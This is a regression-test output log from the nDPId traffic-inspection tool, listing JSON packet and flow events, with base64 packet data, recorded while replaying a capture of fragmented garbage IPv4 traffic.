+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693465,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693735,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAnNia252Yy8u"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1534244031993,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":29799,"dst_port":26228,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993869,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzcd6AAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":993988,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 